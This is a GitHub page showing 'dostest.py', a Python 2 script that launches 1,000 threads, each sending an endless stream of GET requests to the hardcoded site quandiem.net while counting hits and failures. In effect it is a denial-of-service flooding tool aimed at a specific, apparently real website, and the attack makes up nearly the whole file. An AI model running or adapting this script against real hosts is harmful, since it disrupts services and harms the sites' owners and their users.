-
Notifications
You must be signed in to change notification settings - Fork 0
/
dostest.py
82 lines (69 loc) · 1.97 KB
/
dostest.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# Echo client program
import socket
import sys
import time
import pprint
import threading
import urllib2
HOST = 'quandiem.net'
PORT = 80
PATH = 'http://quandiem.net/'
count = 0
canconnect = 0
starttime = time.time()
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# s.connect(('103.1.175.1', PORT))
# s.send("GET %s\r\n" % PATH)
# data = s.recv(1024)
# print data
# sys.exit(1)
# socket.send("GET %s\r\n" % self.path)
class Request(threading.Thread):
def __init__(self, host, port, path):
self.host = host
self.port = port
self.path = path
threading.Thread.__init__(self)
def connect(self):
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_INET, socket.SOCK_STREAM):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error as msg:
s = None
try:
s.connect(sa)
except socket.error as msg:
s.close()
s = None
if s is None:
canconnect = canconnect + 1
return False
self.socket = s;
return True
def run(self):
global count
global canconnect
while True:
try:
if self.connect():
self.socket.send("GET %s\r\n" % self.path)
self.socket.recv(2)
self.socket.close()
count = count + 1
except Exception, ex:
print ex
canconnect = canconnect + 1
print 'START PROGRAM'
for i in range(1000):
request = Request(HOST, PORT, PATH)
request.daemon = True
request.start()
print "Total thread %d \r" % i,
print '\n'
threadCount = 2
while threadCount > 1:
threadCount = threading.activeCount()
# print "Total request: %d, Fail: %d Total Thread: %d remaining... %d\r" % (count, canconnect, threadCount, time.time() - starttime),
print '\n'